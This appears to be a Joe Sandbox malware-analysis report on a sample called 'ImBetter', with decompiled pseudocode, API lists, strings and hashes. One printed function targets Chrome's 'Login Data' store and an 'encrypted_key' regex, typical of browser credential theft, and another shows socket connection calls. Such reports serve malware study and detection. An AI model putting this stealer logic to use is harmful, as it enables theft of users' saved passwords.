0x7ff7e6b0c60f
0x7ff7e6b0c617
0x7ff7e6b0c63f

APIs

SleepEx.KERNEL32 ref: 00007FF7E6B0C53B

Strings

file_size, xrefs: 00007FF7E6B0C66B

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Sleep
String ID: file_size
API String ID: 3472027048-2117880836
Opcode ID: 0b856df09c2e2682f3f36e840258dc5a9f248d758ba4905b351f208112ed7e0c
Instruction ID: 3fe1ad0a232a611292056e6b79a905346a0409e3e891e5dce63bc2972addf8ff
Opcode Fuzzy Hash: 0b856df09c2e2682f3f36e840258dc5a9f248d758ba4905b351f208112ed7e0c
Instruction Fuzzy Hash: 8A31CF6362568582F610FB14EC88BBFB7A6FB15794FA14032DE8C07686EF78D4A0C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1C580 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7E6B1C580(long long __rbx, long long __rcx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t65;
				void* _t66;
				intOrPtr _t68;
				void* _t71;
				void* _t75;
				signed long long _t104;
				signed long long _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				long long _t108;
				long long _t109;
				long long _t122;
				signed long long _t129;
				intOrPtr _t139;
				void* _t143;
				long long* _t148;
				signed long long _t151;
				signed long long _t152;
				void* _t154;
				void* _t155;
				void* _t157;
				signed long long _t158;
				void* _t160;
				void* _t162;
				long long _t163;
				void* _t165;
				void* _t167;
				signed int _t168;
				void* _t170;
				long long _t171;

				 *((long long*)(_t157 + 0x10)) = __rbx;
				 *((long long*)(_t157 + 0x18)) = __rsi;
				 *((long long*)(_t157 + 0x20)) = __rdi;
				_t155 = _t157 - 0x37;
				_t158 = _t157 - 0xf0;
				_t104 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t105 = _t104 ^ _t158;
				 *(_t155 + 0x27) = _t105;
				_t148 = __rcx;
				 *((long long*)(_t158 + 0x30)) = __rcx;
				 *((long long*)(__rcx)) = 0;
				_t163 = __rcx + 8;
				 *((long long*)(_t158 + 0x28)) = _t163;
				_t65 = E00007FF77FF7E6B44070(1, __rbx, _t143, __rsi, _t155, _t160, _t170, _t167);
				 *(_t163 + 0x18) = _t105;
				_t66 = E00007FF77FF7E6B43D9C(_t65, 0, _t155 - 0x7d);
				_t171 =  *0xe6b6e0e0;
				 *((long long*)(_t158 + 0x20)) = _t171;
				_t151 =  *0xe6b6e108;
				if (_t151 != 0) goto 0xe6b1c637;
				E00007FF77FF7E6B43D9C(_t66, 0, _t158 + 0x38);
				if ( *0xe6b6e108 != _t151) goto 0xe6b1c626;
				_t68 =  *0xe6b6dcb8; // 0x3
				 *0xe6b6dcb8 = _t68 + 1;
				 *0xe6b6e108 = _t105;
				_t71 = E00007FF77FF7E6B43E14(_t105, _t158 + 0x38);
				_t152 =  *0xe6b6e108;
				_t129 =  *(_t163 + 0x18);
				_t168 = _t152 * 8;
				if (_t152 -  *((intOrPtr*)(_t129 + 0x18)) >= 0) goto 0xe6b1c659;
				_t106 =  *((intOrPtr*)(_t129 + 0x10));
				if ( *((intOrPtr*)(_t168 + _t106)) != 0) goto 0xe6b1c6bd;
				goto 0xe6b1c65b;
				if ( *((char*)(_t129 + 0x24)) == 0) goto 0xe6b1c674;
				E00007FF77FF7E6B44068(_t71);
				if (_t152 -  *((intOrPtr*)(_t106 + 0x18)) >= 0) goto 0xe6b1c679;
				_t107 =  *((intOrPtr*)(_t106 + 0x10));
				if ( *((intOrPtr*)(_t168 + _t107)) != 0) goto 0xe6b1c6bd;
				if (_t171 == 0) goto 0xe6b1c683;
				goto 0xe6b1c6bd;
				E00007FF77FF7E6B1D680(_t107, _t171, _t158 + 0x20, _t163 + 0x10, _t152); // executed
				if (_t107 == 0xffffffff) goto 0xe6b1c83d;
				_t122 =  *((intOrPtr*)(_t158 + 0x20));
				 *((long long*)(_t155 + 0x17)) = _t122;
				E00007FF77FF7E6B44030(_t107 - 0xffffffff, _t107, _t122);
				_t108 =  *_t122;
				_t75 =  *((intOrPtr*)(_t108 + 8))();
				 *0xe6b6e0e0 = _t122;
				E00007FF77FF7E6B43E14(_t75, _t155 - 0x7d);
				 *_t163 = _t122;
				E00007FF77FF7E6B09D40(_t122, _t163 + 0x10, _t155, _t165);
				 *((long long*)(_t163 + 8)) = _t108;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x79], xmm0");
				asm("movups [ebp-0x69], xmm0");
				asm("movups [ebp-0x49], xmm0");
				asm("movups [ebp-0x39], xmm0");
				asm("movups [ebp-0x29], xmm0");
				asm("movups [ebp-0x19], xmm0");
				asm("movups [ebp-0x9], xmm0");
				 *((long long*)(_t155 + 7)) = _t108;
				_t109 = "(\"encrypted_key\":\")([.]*[^.}]+)(\")";
				 *((long long*)(_t155 - 0x79)) = _t109;
				 *((long long*)(_t155 - 0x71)) = _t109;
				 *((long long*)(_t155 - 0x69)) = 0xe6b61492;
				 *((long long*)(_t155 - 0x61)) = _t122;
				asm("movdqa [ebp-0x59], xmm0");
				 *((long long*)(_t155 - 0x49)) = _t122;
				 *((long long*)(_t155 - 0x41)) = _t122;
				_t38 = _t122 + 0x30; // 0x30
				E00007FF77FF7E6B3CAAC(_t107 - 0xffffffff, 0xe6b61492, _t163 + 0x10);
				 *((long long*)(_t158 + 0x28)) = 0xe6b61492;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				asm("movups [eax+0x10], xmm0");
				asm("movups [eax+0x20], xmm0");
				 *((long long*)("Google\\Chrome\\User Data\\Default\\Login Data")) = 0x14;
				 *((long long*)("Google\\Chrome\\User Data\\Default\\Login Data")) = _t122;
				 *((long long*)("Google\\Chrome\\User Data\\Default\\Login Data")) = _t122;
				 *0xe6b61492 = 0xe6b60fc8;
				 *((long long*)("Google\\Chrome\\User Data\\Default\\Login Data")) = _t122;
				 *0x7FF7E6B614BE = 0;
				 *((long long*)(_t155 - 0x39)) = 0xe6b61492;
				 *((long long*)(_t155 - 0x31)) = 0xe6b61492;
				 *((intOrPtr*)(_t155 - 0x29)) = 1;
				 *((long long*)(_t155 - 0x21)) = _t163;
				 *((intOrPtr*)(_t155 - 0x19)) = 0x100;
				 *((intOrPtr*)(_t155 - 0x15)) = 4;
				 *((long long*)(_t155 - 0x11)) = _t163;
				 *((intOrPtr*)(_t155 - 9)) = 1;
				 *((intOrPtr*)(_t155 + 7)) = 0x8775dfb;
				E00007FF77FF7E6B1E630();
				E00007FF77FF7E6B1E190(0xe6b61492, _t122, _t155 - 0x79, _t155, _t162, _t154); // executed
				if (0xe6b61492 == 0) goto 0xe6b1c7b9;
				asm("lock inc dword [eax+0x2c]");
				E00007FF77FF7E6B1D1B0(0xe6b61492, _t148, _t148);
				 *_t148 = 0xe6b61492;
				_t139 =  *((intOrPtr*)(_t155 - 0x59));
				if (_t139 == 0) goto 0xe6b1c807;
				if (( *((intOrPtr*)(_t155 - 0x49)) - _t139 >> 2) * 4 - 0x1000 < 0) goto 0xe6b1c801;
				if (_t139 -  *((intOrPtr*)(_t139 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b1c837;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_t139 - 8))), _t38,  *(_t155 + 0x27) ^ _t158);
			}

0x7ff7e6b1c580
0x7ff7e6b1c585
0x7ff7e6b1c58a
0x7ff7e6b1c598
0x7ff7e6b1c59d
0x7ff7e6b1c5a4
0x7ff7e6b1c5ab
0x7ff7e6b1c5ae
0x7ff7e6b1c5b2
0x7ff7e6b1c5b5
0x7ff7e6b1c5ba
0x7ff7e6b1c5c1
0x7ff7e6b1c5c5
0x7ff7e6b1c5cc
0x7ff7e6b1c5d1
0x7ff7e6b1c5dc
0x7ff7e6b1c5e2
0x7ff7e6b1c5e9
0x7ff7e6b1c5ee
0x7ff7e6b1c5f8
0x7ff7e6b1c601
0x7ff7e6b1c60d
0x7ff7e6b1c60f
0x7ff7e6b1c617
0x7ff7e6b1c61f
0x7ff7e6b1c62b
0x7ff7e6b1c630
0x7ff7e6b1c637
0x7ff7e6b1c63c
0x7ff7e6b1c648
0x7ff7e6b1c64a
0x7ff7e6b1c655
0x7ff7e6b1c657
0x7ff7e6b1c65f
0x7ff7e6b1c661
0x7ff7e6b1c66a
0x7ff7e6b1c66c
0x7ff7e6b1c677
0x7ff7e6b1c67c
0x7ff7e6b1c681
0x7ff7e6b1c68d
0x7ff7e6b1c696
0x7ff7e6b1c69c
0x7ff7e6b1c6a1
0x7ff7e6b1c6a8
0x7ff7e6b1c6ad
0x7ff7e6b1c6b3
0x7ff7e6b1c6b6
0x7ff7e6b1c6c1
0x7ff7e6b1c6c6
0x7ff7e6b1c6cf
0x7ff7e6b1c6d4
0x7ff7e6b1c6d9
0x7ff7e6b1c6de
0x7ff7e6b1c6e2
0x7ff7e6b1c6e6
0x7ff7e6b1c6ea
0x7ff7e6b1c6ee
0x7ff7e6b1c6f2
0x7ff7e6b1c6f6
0x7ff7e6b1c6fa
0x7ff7e6b1c6fe
0x7ff7e6b1c705
0x7ff7e6b1c709
0x7ff7e6b1c714
0x7ff7e6b1c71a
0x7ff7e6b1c71e
0x7ff7e6b1c723
0x7ff7e6b1c727
0x7ff7e6b1c72b
0x7ff7e6b1c72e
0x7ff7e6b1c733
0x7ff7e6b1c738
0x7ff7e6b1c73b
0x7ff7e6b1c73e
0x7ff7e6b1c742
0x7ff7e6b1c746
0x7ff7e6b1c74e
0x7ff7e6b1c752
0x7ff7e6b1c75d
0x7ff7e6b1c760
0x7ff7e6b1c764
0x7ff7e6b1c767
0x7ff7e6b1c76b
0x7ff7e6b1c76f
0x7ff7e6b1c776
0x7ff7e6b1c77a
0x7ff7e6b1c781
0x7ff7e6b1c788
0x7ff7e6b1c78c
0x7ff7e6b1c793
0x7ff7e6b1c79e
0x7ff7e6b1c7a8
0x7ff7e6b1c7b3
0x7ff7e6b1c7b5
0x7ff7e6b1c7bc
0x7ff7e6b1c7c1
0x7ff7e6b1c7c4
0x7ff7e6b1c7cb
0x7ff7e6b1c7ea
0x7ff7e6b1c7ff
0x7ff7e6b1c836

APIs

Part of subcall function 00007FF7E6B44070: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B4408D
Part of subcall function 00007FF7E6B44070: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF7E6B440B0

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B1C5DC
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B1C601
std::_Facet_Register.LIBCPMT ref: 00007FF7E6B1C6A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1C837
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B1C83D

Part of subcall function 00007FF7E6B03AD0: __std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B03B14

Strings

("encrypted_key":")([.]*[^.}]+)("), xrefs: 00007FF7E6B1C6FE

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_RegisterSetgloballocale__std_exception_copy_invalid_parameter_noinfo_noreturnstd::locale::_
String ID: ("encrypted_key":")([.]*[^.}]+)(")
API String ID: 1929622823-1082832067
Opcode ID: 6ce54e614cc40edb17c38a7768822815ac544f4fb98f0188cce32d45e8382621
Instruction ID: 583981fcaff67c28dcd4ccad64ddc2f9e1444bdebf00868b3d13bf371bc08a2b
Opcode Fuzzy Hash: 6ce54e614cc40edb17c38a7768822815ac544f4fb98f0188cce32d45e8382621
Instruction Fuzzy Hash: F0819C32A28B4186EB10EF64E8403BEB3B1FB98748FA41236DA5C03795DF38E591C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B049B9 Relevance: 9.0, APIs: 6, Instructions: 49networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF7E6B049CE
htons.WS2_32 ref: 00007FF7E6B049EB
inet_pton.WS2_32 ref: 00007FF7E6B04A0E
connect.WS2_32 ref: 00007FF7E6B04A24
closesocket.WS2_32 ref: 00007FF7E6B04A36
WSACleanup.WS2_32 ref: 00007FF7E6B04A3C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Cleanupclosesocketconnecthtonsinet_ptonsocket
String ID:
API String ID: 1946582153-0
Opcode ID: 766b60618b0a69d1261917dfa4f2bbab5d51d0e4a37a290511a9ef322d730aca
Instruction ID: 2b08e5b9c056fa82687c83adc7613b6197ed38d6a746142f8bc609dc33fb9908
Opcode Fuzzy Hash: 766b60618b0a69d1261917dfa4f2bbab5d51d0e4a37a290511a9ef322d730aca
Instruction Fuzzy Hash: 41219861628642C1EF20AB24EC4476EB361FF84765FA05332E57D076D5DF3CD4458715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1D680 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7E6B1D680(long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				void* _t48;
				void* _t58;
				intOrPtr* _t77;
				intOrPtr _t85;
				intOrPtr _t105;
				long long* _t109;
				long long _t112;
				void* _t115;
				void* _t117;
				void* _t120;
				void* _t121;
				long long _t123;

				_t77 = __rax;
				 *((long long*)(_t117 + 0x18)) = __rbx;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t115 = _t117 - 0x47;
				_t109 = __rcx;
				r14d = 0;
				 *((intOrPtr*)(_t115 - 0x59)) = r14d;
				if (__rcx == 0) goto 0xe6b1d81b;
				if ( *__rcx != _t123) goto 0xe6b1d81b;
				_t5 = _t123 + 0x20; // 0x20
				_t62 = _t5;
				E00007FF77FF7E6B3CAAC( *__rcx - _t123, __rax, __rcx);
				_t112 = __rax;
				 *((long long*)(_t115 + 0x17)) = __rax;
				_t48 = E00007FF77FF7E6B15DA0(__rdx, __rdx, _t115 + 0x27, __rax, _t123);
				 *((intOrPtr*)(_t115 - 0x59)) = 1;
				if ( *((long long*)(_t77 + 0x18)) - 0x10 < 0) goto 0xe6b1d6e9;
				_t85 =  *_t77;
				E00007FF77FF7E6B43D9C(_t48, 0, _t115 - 0x51);
				 *((long long*)(_t115 - 0x49)) = _t123;
				 *((char*)(_t115 - 0x41)) = 0;
				 *((long long*)(_t115 - 0x39)) = _t123;
				 *((char*)(_t115 - 0x31)) = 0;
				 *((long long*)(_t115 - 0x29)) = _t123;
				 *((intOrPtr*)(_t115 - 0x21)) = r14w;
				 *((long long*)(_t115 - 0x19)) = _t123;
				 *((intOrPtr*)(_t115 - 0x11)) = r14w;
				 *((long long*)(_t115 - 9)) = _t123;
				 *((char*)(_t115 - 1)) = 0;
				 *((long long*)(_t115 + 7)) = _t123;
				 *((char*)(_t115 + 0xf)) = 0;
				if (_t85 == 0) goto 0xe6b1d83e;
				_t104 = _t85;
				E00007FF77FF7E6B441E4(_t77, _t85, _t115 - 0x51, _t85, _t109, _t112, _t121); // executed
				 *((intOrPtr*)(_t112 + 8)) = r14d;
				 *_t112 = 0xe6b5a858;
				E00007FF77FF7E6B44B88(_t85, 0xe6b5a858, _t115 + 0x17);
				asm("movups xmm0, [eax]");
				asm("movups [esi+0x10], xmm0");
				 *_t109 = _t112;
				 *((intOrPtr*)(_t115 - 0x59)) = 1;
				E00007FF77FF7E6B44250(_t115 - 0x51);
				if ( *((intOrPtr*)(_t115 + 7)) == 0) goto 0xe6b1d77c;
				E00007FF77FF7E6B25D54(_t5, _t85, _t85, _t112, _t120);
				 *((long long*)(_t115 + 7)) = _t123;
				if ( *((intOrPtr*)(_t115 - 9)) == 0) goto 0xe6b1d78e;
				E00007FF77FF7E6B25D54(_t5, _t85, _t85, _t112, _t120);
				 *((long long*)(_t115 - 9)) = _t123;
				if ( *((intOrPtr*)(_t115 - 0x19)) == 0) goto 0xe6b1d7a0;
				E00007FF77FF7E6B25D54(_t5, _t85, _t104, _t112, _t120);
				 *((long long*)(_t115 - 0x19)) = _t123;
				if ( *((intOrPtr*)(_t115 - 0x29)) == 0) goto 0xe6b1d7b2;
				E00007FF77FF7E6B25D54(_t62, _t85, _t104, _t112, _t120);
				 *((long long*)(_t115 - 0x29)) = _t123;
				if ( *((intOrPtr*)(_t115 - 0x39)) == 0) goto 0xe6b1d7c4;
				E00007FF77FF7E6B25D54(_t62, _t85, _t104, _t112, _t120);
				 *((long long*)(_t115 - 0x39)) = _t123;
				if ( *((intOrPtr*)(_t115 - 0x49)) == 0) goto 0xe6b1d7d6;
				_t58 = E00007FF77FF7E6B25D54(_t62, _t85, _t104, _t112, _t120);
				 *((long long*)(_t115 - 0x49)) = _t123;
				E00007FF77FF7E6B43E14(_t58, _t115 - 0x51);
				_t105 =  *((intOrPtr*)(_t115 + 0x3f));
				if (_t105 - 0x10 < 0) goto 0xe6b1d81b;
				_t100 =  *((intOrPtr*)(_t115 + 0x27));
				if (_t105 + 1 - 0x1000 < 0) goto 0xe6b1d816;
				if ( *((intOrPtr*)(_t115 + 0x27)) -  *((intOrPtr*)(_t100 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b1d838;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_t100 - 8)));
				return 1;
			}

0x7ff7e6b1d680
0x7ff7e6b1d680
0x7ff7e6b1d685
0x7ff7e6b1d68e
0x7ff7e6b1d69d
0x7ff7e6b1d6a0
0x7ff7e6b1d6a3
0x7ff7e6b1d6aa
0x7ff7e6b1d6b3
0x7ff7e6b1d6b9
0x7ff7e6b1d6b9
0x7ff7e6b1d6bd
0x7ff7e6b1d6c2
0x7ff7e6b1d6c5
0x7ff7e6b1d6d0
0x7ff7e6b1d6d8
0x7ff7e6b1d6e4
0x7ff7e6b1d6e6
0x7ff7e6b1d6ef
0x7ff7e6b1d6f5
0x7ff7e6b1d6f9
0x7ff7e6b1d6fd
0x7ff7e6b1d701
0x7ff7e6b1d705
0x7ff7e6b1d709
0x7ff7e6b1d70e
0x7ff7e6b1d712
0x7ff7e6b1d717
0x7ff7e6b1d71b
0x7ff7e6b1d71f
0x7ff7e6b1d723
0x7ff7e6b1d72a
0x7ff7e6b1d730
0x7ff7e6b1d737
0x7ff7e6b1d73d
0x7ff7e6b1d748
0x7ff7e6b1d74f
0x7ff7e6b1d754
0x7ff7e6b1d757
0x7ff7e6b1d75b
0x7ff7e6b1d75e
0x7ff7e6b1d769
0x7ff7e6b1d775
0x7ff7e6b1d777
0x7ff7e6b1d77c
0x7ff7e6b1d787
0x7ff7e6b1d789
0x7ff7e6b1d78e
0x7ff7e6b1d799
0x7ff7e6b1d79b
0x7ff7e6b1d7a0
0x7ff7e6b1d7ab
0x7ff7e6b1d7ad
0x7ff7e6b1d7b2
0x7ff7e6b1d7bd
0x7ff7e6b1d7bf
0x7ff7e6b1d7c4
0x7ff7e6b1d7cf
0x7ff7e6b1d7d1
0x7ff7e6b1d7d6
0x7ff7e6b1d7de
0x7ff7e6b1d7e4
0x7ff7e6b1d7ec
0x7ff7e6b1d7f1
0x7ff7e6b1d7ff
0x7ff7e6b1d814
0x7ff7e6b1d816
0x7ff7e6b1d837

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B1D6EF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7E6B1D737
_Getcoll.LIBCPMT ref: 00007FF7E6B1D74F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1D838

Strings

bad locale name, xrefs: 00007FF7E6B1D83E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$GetcollLocinfo::_Locinfo_ctorLockitLockit::__invalid_parameter_noinfo_noreturn
String ID: bad locale name
API String ID: 818938248-1405518554
Opcode ID: d1b5a157a61af81cf0c8290d07396de2e0347ee5a50cb4e7e2942e5ca1b2a79a
Instruction ID: 26ec4e5419ec29af67228b46e2c6859be8239b1a03b44985eac86ada3aade865
Opcode Fuzzy Hash: d1b5a157a61af81cf0c8290d07396de2e0347ee5a50cb4e7e2942e5ca1b2a79a
Instruction Fuzzy Hash: 80518122B25A419AFB00EFB0D8403AE7372EF44748FA44136DE4D27A9ADE38D455C366

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1D870 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7E6B1D870(void* __ebx, void* __ecx, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t57;
				intOrPtr* _t85;
				long long _t86;
				intOrPtr* _t89;
				intOrPtr* _t93;
				long long* _t103;
				intOrPtr* _t106;
				intOrPtr* _t109;
				intOrPtr* _t113;
				void* _t116;
				long long* _t117;
				void* _t119;
				void* _t120;
				long long _t122;
				void* _t124;
				void* _t125;
				long long* _t127;
				long long* _t128;
				long long* _t129;
				void* _t130;

				_t130 = __r11;
				 *((long long*)(_t124 + 0x18)) = __rbx;
				_t125 = _t124 - 0x70;
				_t120 = __rdx;
				_t93 = __rcx;
				 *((long long*)(_t125 + 0x38)) = __rcx;
				 *((intOrPtr*)(_t125 + 0x20)) = 0;
				 *((long long*)(__rcx)) = 0xe6b60fe0;
				 *((long long*)(__rcx + 0xb8)) = _t122;
				 *((long long*)(__rcx + 0xe0)) = _t122;
				 *((long long*)(__rcx + 0xe8)) = _t122;
				 *((long long*)(__rcx + 0xf0)) = _t122;
				 *((long long*)(__rcx + 0xb0)) = 0xe6b5a588;
				 *((intOrPtr*)(_t125 + 0x20)) = 1;
				 *((long long*)( *((intOrPtr*)( *__rcx + 4)) + __rcx)) = 0xe6b5e598;
				 *((intOrPtr*)( *((intOrPtr*)( *__rcx + 4)) + __rcx - 4)) =  *((intOrPtr*)( *__rcx + 4)) - 0x18;
				 *((long long*)(__rcx + 8)) = _t122;
				_t117 = __rcx + 0x10;
				r8d = 0;
				E00007FF77FF7E6B10BF0( *((intOrPtr*)( *__rcx + 4)) - 0x18, __eflags,  *__rcx, __rcx,  *((intOrPtr*)( *__rcx + 4)) + __rcx, _t117, _t117, __rdx, _t122, _t116, _t119);
				 *((long long*)( *((intOrPtr*)( *_t93 + 4)) + _t93)) = 0xe6b61128;
				 *((intOrPtr*)( *((intOrPtr*)( *_t93 + 4)) + _t93 - 4)) =  *((intOrPtr*)( *_t93 + 4)) - 0xb0;
				 *((long long*)(_t125 + 0x28)) = _t117;
				E00007FF77FF7E6B10B00(_t93, _t117, _t130);
				 *_t117 = 0xe6b5a508;
				 *((intOrPtr*)(_t117 + 0x7c)) = bpl;
				 *((intOrPtr*)(_t117 + 0x71)) = bpl;
				_t129 = _t117 + 8;
				 *((long long*)(_t117 + 0x18)) = _t129;
				_t127 = _t117 + 0x10;
				 *((long long*)(_t117 + 0x20)) = _t127;
				_t128 = _t117 + 0x28;
				 *((long long*)(_t117 + 0x38)) = _t128;
				_t103 = _t117 + 0x30;
				 *((long long*)(_t117 + 0x40)) = _t103;
				_t113 = _t117 + 0x48;
				 *((long long*)(_t117 + 0x50)) = _t113;
				_t85 = _t117 + 0x4c;
				 *((long long*)(_t117 + 0x58)) = _t85;
				 *_t127 = _t122;
				 *_t103 = _t122;
				 *_t85 = 0;
				 *_t129 = _t122;
				 *_t128 = _t122;
				 *_t113 = 0;
				 *((long long*)(_t117 + 0x80)) = _t122;
				_t86 =  *0xe6b6e0c0;
				 *((long long*)(_t117 + 0x74)) = _t86;
				 *((long long*)(_t117 + 0x68)) = _t122;
				_t43 = _t122 + 1; // 0x1
				_t44 = _t122 + 0x40; // 0x40
				r8d = _t44;
				_t57 = E00007FF77FF7E6B448EC(_t43, _t93, _t120, _t117, _t120, _t122); // executed
				if (_t86 == 0) goto 0xe6b1da20;
				_t45 = _t122 + 1; // 0x1
				r8d = _t45;
				E00007FF77FF7E6B0F830(_t57, _t93, _t117, _t86, _t120, _t122);
				_t106 =  *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x60)) + 8));
				 *((long long*)(_t125 + 0x30)) = _t106;
				 *((intOrPtr*)( *_t106 + 8))();
				E00007FF77FF7E6B10F50(_t93, _t125 + 0x28, _t122);
				E00007FF77FF7E6B0F6C0(_t93, _t117,  *_t106, _t130);
				_t109 =  *((intOrPtr*)(_t125 + 0x30));
				if (_t109 == 0) goto 0xe6b1da0d;
				_t89 =  *_t109;
				 *((intOrPtr*)(_t89 + 0x10))();
				if (_t89 == 0) goto 0xe6b1da0d;
				return  *((intOrPtr*)( *_t89))();
			}

0x7ff7e6b1d870
0x7ff7e6b1d870
0x7ff7e6b1d878
0x7ff7e6b1d87c
0x7ff7e6b1d87f
0x7ff7e6b1d882
0x7ff7e6b1d889
0x7ff7e6b1d894
0x7ff7e6b1d897
0x7ff7e6b1d89e
0x7ff7e6b1d8a5
0x7ff7e6b1d8ac
0x7ff7e6b1d8ba
0x7ff7e6b1d8c1
0x7ff7e6b1d8d7
0x7ff7e6b1d8e5
0x7ff7e6b1d8e9
0x7ff7e6b1d8f7
0x7ff7e6b1d8fb
0x7ff7e6b1d901
0x7ff7e6b1d915
0x7ff7e6b1d926
0x7ff7e6b1d92a
0x7ff7e6b1d932
0x7ff7e6b1d93e
0x7ff7e6b1d941
0x7ff7e6b1d945
0x7ff7e6b1d949
0x7ff7e6b1d94d
0x7ff7e6b1d951
0x7ff7e6b1d955
0x7ff7e6b1d959
0x7ff7e6b1d95d
0x7ff7e6b1d961
0x7ff7e6b1d965
0x7ff7e6b1d969
0x7ff7e6b1d96d
0x7ff7e6b1d971
0x7ff7e6b1d975
0x7ff7e6b1d979
0x7ff7e6b1d97c
0x7ff7e6b1d97f
0x7ff7e6b1d981
0x7ff7e6b1d984
0x7ff7e6b1d987
0x7ff7e6b1d989
0x7ff7e6b1d990
0x7ff7e6b1d997
0x7ff7e6b1d99b
0x7ff7e6b1d99f
0x7ff7e6b1d9a2
0x7ff7e6b1d9a2
0x7ff7e6b1d9a9
0x7ff7e6b1d9b1
0x7ff7e6b1d9b3
0x7ff7e6b1d9b3
0x7ff7e6b1d9bd
0x7ff7e6b1d9c6
0x7ff7e6b1d9ca
0x7ff7e6b1d9d2
0x7ff7e6b1d9db
0x7ff7e6b1d9e6
0x7ff7e6b1d9ec
0x7ff7e6b1d9f4
0x7ff7e6b1d9f6
0x7ff7e6b1d9f9
0x7ff7e6b1da02
0x7ff7e6b1da1f

APIs

Part of subcall function 00007FF7E6B10F50: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B10F7B
Part of subcall function 00007FF7E6B10F50: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B10FA0

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1DAF5

Strings

ios_base::eofbit set, xrefs: 00007FF7E6B1DA60
ios_base::failbit set, xrefs: 00007FF7E6B1DA59
ios_base::badbit set, xrefs: 00007FF7E6B1DA4E, 00007FF7E6B1DAA0, 00007FF7E6B1DAA1

Memory Dump Source

